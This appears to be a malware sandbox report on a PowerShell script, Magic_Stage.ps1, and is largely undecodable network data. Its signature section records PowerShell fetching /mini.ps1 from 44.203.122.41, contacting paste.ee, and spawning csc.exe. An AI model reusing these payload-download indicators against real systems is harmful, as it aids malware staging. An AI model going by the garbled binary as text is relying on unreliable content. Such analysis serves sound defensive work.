2¦i.ÇûÇEp°#·:«¡Ìp>´ÑÂòÿ/Kú\|ñ}V/ý¨×G]Äõt^c¦¨k«\?ÕP¨ßR$v]¨^¿×Àë¨/öÎÔNÂb¸à©pjm£Vo=+ÊÁÞçDä×ßËø%g=Vjl¦Gåg¦\ò¤ÕÞlZ/ÿ]0 ûôsð¢ï e\|uà)v<PÒ"RNÚ4Ì43æÝ}bå¸=ôCV}Ù#xQú"²¦ÛF¯³çôSÌ³IØ1,É»ix1ÎÊP¥¦sc?þåxUæì¥Á>L$¡üìÇ!$ÿÞm»/»aÆ;=á¶Ö¢¹¯l¨¢Ãû}©íjÅ kÆÔ5+¶Ú®hR$´ë`'ï]îî~¿B/. 6ÅÑY¦ú¢·o²A *AwàñDÓº©+øÂw£SH¥ïVAÃzAºÄt!ì%ÎöaÝÆ¤ëÇ{Ü+oº-¥ëÓdH9ÐÙy÷\|6ZÊþç: ËÔÙPmáºû©à·a\Ú6PyJ<_d-¾þPç,Â\|âO]jå©¬iôò+7ã 'Jz/_ì@ÍºþVs.d¯£-¬ÏS%%3Ýâ!ez(2¹öj7h§qëf.TÂ]£Èf¼"ÎýÈ9¦(ÂÚîôÂï ãXªð·æ¦y Lb¼v>÷FðÈz¡fD0À
Data received	vç-#ôÚnÓNOÆU5êðÞ2c¡üPÇOZ[qÆø+@_vw²áKæ¿>óEß]/]R$ xÙë5"Ñd~R»ë9ò`BÚ³=Û#;¦Õ½g®%êd{3é5",ðHÙ£ æ@lÈl7°e`\ûÜGdãç_'÷¯Ï:è:DIëýULAÊNwÇ»êøÿ§N?òRóe¢mÓ-¹ Þ7Ûe%Go%@ésnÙwÜÁ66§ÊÒ+ÂáÀþ£ä»ýkaµWÜ(Tç$±ØúWÝ¦Þè§KÅGqwã4 Ý+¿EåSÞÎ,&9W5fy! :ÙéÝm Bfrëª6l+¸âQ:TlWæ¦Xy\|Ø©höç0#ê6Æpë¦³¬¨ Ùr^£"Ä× ±¦ ôe#ÍÓ©±[³r´fî ã`ÌÎêaï0gtÆTÕ¥ªÚ:,ÀuKx«ù~«XDhÔyLFÒDêóO)ÎIë×wK¸B"Ê6Yn£rÙy-x¥Ü ßrÞAõ3z,1·éH2erÆ¼ /s£s_øÌÿW&µö×â»ð^"õ?áÈcúÓ¯.56(Ó%#ÎÃgð=P.ÏÇ`NºÀº¼ß;oÕGÆb3 Ñ¼33¢sÕþõi=ÿ O(,zgZ4Aq©¡²þÙ%ö)Íµ[w>¾æ"êi¿{¹]¢SÅ([MmáôÕc+ ïâ'ñ{ÊD#o @×M³%Äøaâh·&\j7³ ð%Z¢Ë)ú)Rxíà!»W³å%î[ÏÕö 1³î¼ÎüìÒo´IJ¿»äÛÆeñÜßÚh,Yp`Î?:`ÎaÛÀûêkúÑèïä`?Ó ÕÒ-õýmÚÖNê ËúokÛÏ)uCGpMu[[U~Á&Nµ_%yÊ®ïÂÛxµ{ú ÂrAä©ãÇôRGßa7 '&Z7#Uã¼H¤w5=UâxÖx!g v;ã_\|söÍÍU1ë¾û)+1¢íß'\;!1òÂï}iÍz@Ud+lÎLyA9 Hçâ=Z5©ÇJv2½13Ç K@áÌÒ^)d@øáÀºl'T%Ðt6"ØGcÑöº7ÂþM\JWoÊÑyÐTÑèØ¸sZàL(Õß· ïåãÜµW5aßó8-ìÙ%Wè8oSÆ0Ñû5·__íQïSÜa4,HXÃ 'Ò¢ÂÚFäØ$ÇÄTÉÆËu§ÂÉYI÷["©äü!.¹Ó§Ä^ØA&·ézüãjÓ)÷Aäl®i¸uÿiB¶¬A`ç¡zxI= çÖ-¸Æ6Páqzpéß ¸\|ÈK8S#KÝ/ñàZµ3AkB~Øyt¸l8¬Ö ìíï»M8¶¸³}ÿjR(lþ¢Âúãíì5ïTîöÆº5ÏÄ ÙðéÀèÔNo÷O'{;tçÄëzÛð4êã¿Û`a¸lFÙ=*:ò`aEì¾ÇrTËå&½d<ËV@ýºïÌëEÿ¬Nè ©05Yá\|l¼NÌJo¦¢u>Ò ¿ø ç^7M§p¸ökjÈIqþ%§!±3
Data received	Ù$Nhoÿ¬þ\Êàhæ²¢Ç+¾],Y½.î Î²¶l=UFLè\|-Bj$+¡©¸p]© XwÑ"ÃË%Y}£ãLc¾¬õ"õ¥xÈÿä?P±»û¨4?áåzY0¡ Ø´¿6áaVáÊÀZÏËWt>¦ÁæÃØYxNE@Å}}b8\3Ï<"M#^©áJíÖOsCíúè-Ïª¥gú8BLöÎßÊ¾ÍÊÖÌZ´<ëPT3'¹a4÷÷«z<JmI¯UGFöái£YA'K_2¢ÊÙíE6íäÉÌÎ1Cä]nx': >Pµq:»Yûéô{bÕÈãøÁW kÐU§£;%>ã:r´Oq¡·òJý)Bº8Ïk¦on,ÆÑ]u ÄßØ¢½güöu8eêLÂ¾X5V¨&5P7ÎÔç#àðUk÷i%êk p×Ý-M4Ý_IÒ;$OxÙ¦ÿsÖJ¤;²0}kRIMäç¹Îi@®¦þPÑðwoÅ_ÞpÌ6Ö }¸k ¸'=!°1t©º3»L:ÍA?" EÄÂa+§Wºz OÜ>4®tô.««@õÌÛ¬©¢·Fuá¿ÿ5\ïíÂ(õFê¤Ý³t7¦dèÆþ \|ér7y-¬Ò¤}¥Óg&M#voÝãEðý.øp\|Ù²Ir³ÁaÚJ¢Ç¿Ørq/*dÊ¾cÐ»IÇt&êbo>§&Idm%{Ð=ÂFnÑÍRäSü¯ýyCg¨·#t;Iæ®Ðab+\|GÔ^éHÚ&Zé!oh·W3âï-ýMªZ§vyÉËøÓLè pGPd0ñE©r Éè"AA,!®'Ú[åâ×W)§ÆµSlä#¤AÝó¼L¦ù3U7Â±\|<ã/§Z@9Wûñië_;QôøòpMÐÜÔÑÇXºýáoÔîxÖxñZþ:m Y}º³¾£Ë»Á(QócdïB[»W[ØvI@¿8´gùØ"GHgÆ-£©3G8Ì +#L÷BÃÁ8ÏÑç{µrñu7]Ò)Ðâ]/=éb+¸R4pÎ.SÝÜµ+®ò<\|ëÀÓÄl©Èö·FvGgHwÜß9ëFÒ¬'ðþzÝq7äAO¤¼òd÷Þ´¢ÒKð tÕVhÀ(¦¿´ø\Õv;AEm¶ðÈq +T~ m`¤Úàp4ß]^Z kç0ä¯cldzIònµä}°+ÁÛ<úª{ÐúV¦ÚX`êÏ³k¨ WÙKe¹ÎÿöºÖô§ÛÛ5ètSöNB#jñu].<VgÐ¹ù:L ÉiÓvxiLG>¨ ¹¥äUéûÌÓt¬±Áÿ(+ß¶ö¨:HqÃ¼ÑÛoÅeÌYRgKÃðoæà0¥x8ºWþ:tÓû{ìÒX80.ùeÊ«¨ÏQháßÙM&´ÍÑnúßSOÆâéýU0¦ê¹åKuR~k!ã·K)ßk¶'³8E+²FÝTøWba¨÷o»8:n?s äi¬E¶bä®O6«Gjï©ål¡zæUúgôUâ±÷ª
Data received	M©Ï>¯ó¸«õªÝ2Ï0dbí-+Ø@tw¼èÈtÝì¹çÌËæØm)³¨§aÒmë\|&b?¸Þ;d§V_÷¼kÈ¿£FXá`ã¿Ezu}ÜòÊ¢ß`¥×vG/PÛÚª=Ç/Äá)\]RÏö¿Uû\w ¶3É4Ì;Ü]¬Ó&¼ "3 QÉ¢ò úKÙÍr=aÊ±D¹»ðýl¾/ý30~;õ&¦ÿç!Ô83t¥×ôyw1g^î+£Úâ0y¥ÕË]È#×JóÖF¯¾²È-øàöö¶¤;JÓ÷ÏÔyåãéiï9·)Æ§æÂc0¢ëÝþæ!²½2,¸4áÉFáR¯Ð9Ë>9ò2!¬ìÉ_ç1¶ñÈ\|Â©f -÷[BP´FP]Y¸«ñ[øÓWÑsÞ"\H§Ê¯$ÁR¹öçtÌ¶¾M,Ú':æÎx¥jõùôçQÚOtãåùÛrªp¦"@øp^û`bß¯ù2W¾BÐi]bê\@Æo¿j9CîÁØÓuÃÕe¾e7'O>@ÞH"q¿û{4Ë]°¢ÿ¸=Ùÿó\óºÓ¦;ëtOxç¿×Çÿ`ügê Ã6Ì2ëËÀ_ñwÌgqLëläËM6F\GRÐ;fF_üû=Ò+¸ESô¹¸©LÞø¼Æ®òý¸M¤½§ÈÍ]#Wuâé°Nw'«;x+º@à¨ 2î²¥êh67A 'tðßNüd· RhY SFÍ!0qrÒgQ^CÅa<)?À»`ç2w+&³» >ÆpÉÃë^¤¡½§?¼rª)jB\|°¢´ÏèÑ.Ig?[!aD D÷ém¿¹üÈý6¸÷ì(»ðû+àuýH`üî#$e\|â f ³ÖVw¥ææïüÝÆvW·$6AT è¸®xì'ýú$. óWO6ÜÜm£6GæÊÏÅmÿ }®t ¸Hv5'4l§÷%1sÆn+wA4LùéÙwÜÌnÈGyáàJez £ªSùÛ£'f·ºPØµ%úZ¸Xê»×6[`@müL`É.s¿Ð3W(èM§aVM±%cíøe¸41§ìð¡AèT³¹6¯\Àa>Ð\âwn« ,¼m£ÐA@Å±¨RÚÍh®ò9ÝôË\NJ\Èâþ-vÿ¥øµ´>ecÅIåËóº[ÁeiYþiæMDWÈ:ª385G\|ÅY²xÞx>Ú%¶9x+ïzäÇNU$ÐÁì¼ÞGd´9ß?ªÀòf}TÎ%«®ûâ®>3aRndÄ vL¿YÉ%õKÄå Wá®§Zß"ÞÓm¯QPdÒ:@SgÎHÇ,®FÍHï4X äÿ4Î3E6jrÓþ®AKD¿«n,u³ªæµ±ÛóNå¡EÀH¶ÜìîÄèdÚ÷ü¢lØ¿#ÌãC5×ÿ-Æú]+M¼ E=~Äh\õMOó Ô\;æÊ%X¾Ï¦ÁV}ªùhUM Å4âl`#0ØSîeæÉ½t{m9~[å(ÕÜoé8Õ ð¿ç³åçøòÐ4=Á+ePv.%¬§wIDâÍ7é¨õ÷~Cz\|-ã
Data received	þ->÷ÇØ»t¢ÌW$çi5c\x6¦Táñ)çauQ0é,÷:µGüäfßhe= ~ÌHÛË0-%:ÜÜßÂÇ 1ëñÛjbÛ zUß!X°Ê¿ n+{sÓ<Àèð3w1nsGÄè[D÷íBº£jcÒ¡ü]¨îLëyâ+}4Lã_¦9¡¹9Cý_Öy3e/v5 Éä¡\|AéäññD!2øZðõ Øðë Ë[fµKÝN=sOTøQ!uà:u¨u®çYÑ@UªZDüxuÇ\|Twÿo'YtcÐk,NRçYÒ¦/ÕÇ:!ÛÉ ºE /ì¯clâ³¢SN$ÆÆjHk-xR_gD`%THÑTÛéo+{>aùqow£$õfxqïç[·,ÞHÙO9tõêÙhwõ¹¤Z þóáÔ¸ j½ÓsIÌß¬!³`Ê¥ÿ®gøÇpn×ëàQS9ñ³?wl+wx/Ûo^nºÄýÜV¸Z±$èZO8{k¸k&\|:\au'¾±öIøYíCe¿7TÏÐ¶KhA¨ÝÏZA«TëCZegQ\|eÐó(` Å1bEÝÀràÑ¹Mn\NÙòHitHÇ0z÷,Í¨©ìFG!¢Îø8kx&] %Å¥§,/AÌ³îÛÉë$ ùÅíYTæÏ>Ú¢[ø'S¨h·Éÿìîê5VLøP{¾Øsc>T©xÁH8düµoy¿e«Ë§øb8ÂG§Ò~ÓyCSn~YáV bkZõÎÎ×ª¸X'±¿UH_½H#oÉø ¾^DjzeT7>>ùùîLW×ÈÛÑÏ:Á6<\ Äî³FCÃÊs_q÷C@rg-%{(pÜà ü.øö8ÌÁ¢l)¦ÝÔ¹ú·AhcK7 ö¡ p´ \;41E¶7Lpµ];00za®"[Lm/Ëa( X'°ôs¢Cù Øå<êNÂ²¼ýÛbT >ï¾~b-¿Wô¿ Ã»P_V&«õe¯xGÛå \|5¼2[½%À{å Ì&÷µì3mzÞóÊÀõ`¬^½eã3°Lg÷zbâÊDÛÑ}Ð0> ËS\-¦JqVEíq;Î_n ë'¢x÷d'\3²C;a7½ÇUÀ¾qLVn$ølmqæpÒ¿«ôÞ§ZêScjÊÿg²Ë8öðã§¢\|bÚä1mUgØ5^ÑTm²QWmìxMÿì+Qt&M9ø] åå>¯ÑüÒÁÑ¡!jÀws÷c lnlZO¸®éúCÒ¹Y×_¹3¡ÿHéyf¢kÎÍó¡i÷9D¿!r¬Os**½æ>vº¸8Ç&³÷kèQ+£4:Ûáq_gIï%OO¶GpT&öçÎÊ;$ °Ý<ÕñÅ3²u2G´µ°òm Vc±[lÜe3 â4áºþÝ(`ÍóÒR/×;þZkuÕhg¿"³-ÆV° EúÓ±(ag ÏD8Ìy&@êÑóDº Íâ¤ü½þjÂKÒE5ºÕyónÖÃôÝgq»ïÊÀ®ØÍ³;ÐTqº¶M± h)Ü99
Data received	~1§.uïsL²tñ1(§µÚüiC\Rëª¥Ç î×p<äñKSoõQÅáF»EåÏÖçöç~;N/K¬« 'N,t ÷$h.[þûØI¤jôÑæyElÙí¦·ÓQiåfíÒ,Á#NöýrþD·!"a+pQZü²AÒ<jË= Ui³]¸»Fó¢µ~x«ßÍÝ$Êèÿ?ÉöªûT"JÇÌ¿$[dñëØeÿý²(®ëpK U{ô^ÃiÝm³v6[ Mv ¬Y»³ð4u\Â +49 Ùà¡°)sër=~S5nh¸Z2 Rûà!C§ÙyªôocBªs ^ö_'¹û `/.0Ènßç·º$GDtZïÊXq:þ>§#O#Ýð¯ÍFl ÒU7Gp w[¶Ú¾\|¶â4ð½âë$'Û$ÌÉÜåo\| :kæÕ î?>UI¶KÍÑ§]¡¤_ý= ëz[Ömw¥Øµ70úÒF Y~ÖàWÕ4a^»bçs¾Þ¿ù¾«óÑ¿$¹9\|M&Y¾Á-³3ãè÷ØHh>há°~`Yâ[\îX=$¼¶Gí«-rÉÊËk/¡ Ë¡-¯±Á <,¨º²ÐÏCÎUbÛ:Ç(%^H [¨¬ñÉ¹ö_6Ð²áA×~Ðù^øzÓø¶NsbÕÃLÙrMúæuæ4yÅåùeùÛëC"äy£7[ëóüUñ+Âgl-SÓü¤]»Öyë07{>ucgDÞØ 9âÿá°"d×ÐAÙ0¾À²úU`Òñ'Ê`/ùQ5#çÎãF8ZD«(¨¦MrüOò9õ¼ÏvmãJû`ØZWÌù0¾ï\õîkØo?]`Ý`qïÒgßÑ[ÂãÝeó@L9r;¯\|ìbDn \7Û ¦r¥°<´ÙÙcÎHMûýWdYg-àþÛ^Á~àþá¼Çf?¥hÅ@£Æë²Õ¿,»30)Z;Å§SNúñìô»Ipj¦\|]ÀÉ÷²§¥ðÝq«´ÂO£$8AHßlÕW¹Å}X7ô ûç×,;U8 00 ä¶i½§`]À0¼¦LÎóüûØ¢`o^)6®C£Ïó,ÐËÑaÅ }]Ì½kèTzõU§=zQ¾ð<®\|i¾ÁBAä`3¾lï`Öv,Å± )K´qîúôøþîØ¦ÝvXk¶j?CÈLîoØ_ÍØyÂþ øËHÏ\|ÎUÑO8¤«K!Z#\ýÉi¬äÆX°Ýê,¾¶ÉÎ2ZDãGñ'$¾ÞêEâ³0POðYcB¬§Hâ;Û&h¯¢Á@¢.ÂÇ¼^çµðHz85¸ûÙ³Ùvh s=\|ãnm1GôæJ~·ÐÐËW =´FZÜeÆ"©Þ¶bC`mìå>ÐîÃ~°l«rD!à^"ý/Qè _É ´¿põøN¹ÇbØ~[Üöªdd:öÈÕË;{´\×ÈO(¯uzµÜÞ+=zjØ5_ oNY-ñ%¡³«È(èW8¹>áK+ÙXÝ¡õ¡MJºUÖë^ò+=£LµCå¦÷ç
Data received	@
Data received	÷â¾{þ:%]ý'¼¾_h«´o7Ðþ1Ç]ù1ËEÄ;ØNAºV#jN_¶?;ñÀ Üþ·6ßë»´ÏùðEÛ-ë"jíokðÛ-E}ÓpP<î÷ÚXj¿»² a ®S~K5¬Ëè¬zVZ2íâR{qÅ½X¡ÊBw×-þìTß^Y[c¶5FòzSOýöuÃ×vYéIgG´he^k´èµîyÞ#¼GÝ{ÐÊöòÂXõ/ü6½åNµa=5!È°Yò+>âµCðdêlxüEtÍü> £TÈï«WôUàìöÓJè1®eoàPâ¾«0¬(Äïv@Bu^0ì¹ùÕÁWö6¼ºoNg7&éâµÌ`Ù9.õÞ<,®ß§VÌí«Ðä¼;"J¡¼jtgoi®¦M¤qý&ÁJKÇ^åµ¢Jð±PÈaÕ§(®ð0ÌÊèS¯[?Jñ2R ùhüÐQRPd?~QþÈ·ÿóËía[ß×úFsb÷!éyh:iÉÃoYo'Ókð§l.Ý:R'GcÀ¤.=$oÙ´A%¡&NCº¶ÆÞ¢ÔCy>ãcXþ3SÎÄÇªÿ,OLü.ë<ýÝç"@].¼×òÉ8;0³¤lÈ"nxNwV9¢»é&`.U`P0mÎßI¦uÇéf¿È¼Ú$Þb +ÓZQÔîE«z5)O÷E#µ¯â'ð]ÂaÏ]õÿ£ßmED¯á:Nð¹ÄOË(§Â'IýE©zi=rð%ÃlU "ø_Ûxê¾Èiî¸¦Á<ªV¦Ü¯ÄgüÆsøõy)Ðº&ò2ºöv¯ýÄ[}à¨í2¤r\ø÷$4ÅÃðõm ÞDCô¿prÅ.±aÖÒ ×ªö ¬=(¤£1ý@l<#ÕMQ}cd®o4Ã\|©ïZÍ;H Þô[jJN}ç²Æô1gmËtsÈlÃr#yHÓ+µSaMFøuo4'ÈfJ5b%ª 8p~`cý¦9§;ÚojÌyü'FSïïíN\|ô¤0ÍR+íK²É£¬mypë(k6=FÉ$W=HÃSLVLEIÞ¿úî£áJ-ê ®;J¸°=áaåð õËzðý"Wô]!àý3ÝßçûhÑiÊÚÓoljì¤É%¦Þ\|úDJò%àÌ(§»N3ÂóÅ5óÕm9óÆO÷F#Ö¼ñåHf¯]p¥D:¯[vÁ¬pÏpüeÚInuÁ)qG£Èãú¶lx¨rLýøV2ÈL.ø&k´ÅUÖ¯
Data received
Data received	íR¦Îx©&ÙIÅSu øÞ{"y¸D!T®Ü

Poweshell is sending data to a remote host (4 events)

Data sent	GET /mini.ps1 HTTP/1.1 Host: 44.203.122.41 Connection: Keep-Alive
Data sent	kgeÈm«×GûRÉY«ouÂÅ´duÀÐ/5 ÀÀÀ À 28&ÿ paste.ee
Data sent	FBAXûv¨ì¶ISû)ÚyatÂÚ >8ò(+þï¶CFn¼ ¨NÏÛ\¨"MÃ¤>Bï$¤®u0ÓñÈÆVî+0ZKô7Èã=V!â;O ühuÞ¤JÈsÄýüÝ9
Data sent	`rYZñ¼V@[K¢c;ãvRà7èñµaw»u´A;''Y6¾X)K L#l+øsØÈÂÆ½d£¬ ?Îp±¡Þ þZ2*ÇÚë<óúSu£ß70

Uses Windows utilities for basic Windows functionality (2 events)

cmdline	"C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\test22\AppData\Local\Temp\9mrxduhn.cmdline"
cmdline	"C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\test22\AppData\Local\Temp\afgz_pv1.cmdline"

Communicates with host for which no DNS query was performed (1 event)

host

44.203.122.41

Network communications indicative of a potential document or script payload download was initiated by the process powershell.exe (4 events)

Time & API	Arguments	Status	Return
send Sept. 18, 2023, 9:45 a.m.	buffer: GET /mini.ps1 HTTP/1.1 Host: 44.203.122.41 Connection: Keep-Alive socket: 1540 sent: 71	1	71
send Sept. 18, 2023, 9:45 a.m.	buffer: kgeÈm«×GûRÉY«ouÂÅ´duÀÐ/5 ÀÀÀ À 28&ÿ paste.ee socket: 1568 sent: 112	1	112
send Sept. 18, 2023, 9:45 a.m.	buffer: FBAXûv¨ì¶ISû)ÚyatÂÚ >8ò(+þï¶CFn¼ ¨NÏÛ\¨"MÃ¤>Bï$¤®u0ÓñÈÆVî+0ZKô7Èã=V!â;O ühuÞ¤JÈsÄýüÝ9 socket: 1568 sent: 134	1	134
send Sept. 18, 2023, 9:45 a.m.	buffer: `rYZñ¼V@[K¢c;ãvRà7èñµaw»u´A;''Y6¾X)K L#l+øsØÈÂÆ½d£¬ ?Îp±¡Þ þZ2*ÇÚë<óúSu£ß70 socket: 1568 sent: 101	1	101

One or more non-whitelisted processes were created (3 events)

parent_process	powershell.exe	martian_process	"C:\Windows\system32\wermgr.exe" "-outproc" "2540" "928"
parent_process	powershell.exe	martian_process	"C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\test22\AppData\Local\Temp\9mrxduhn.cmdline"
parent_process	powershell.exe	martian_process	"C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\test22\AppData\Local\Temp\afgz_pv1.cmdline"

Magic_Stage.ps1

Process Tree Toggle all

Network Toggle all

Suricata Toggle all

Suricata Alerts

Suricata TLS

Signatures Toggle All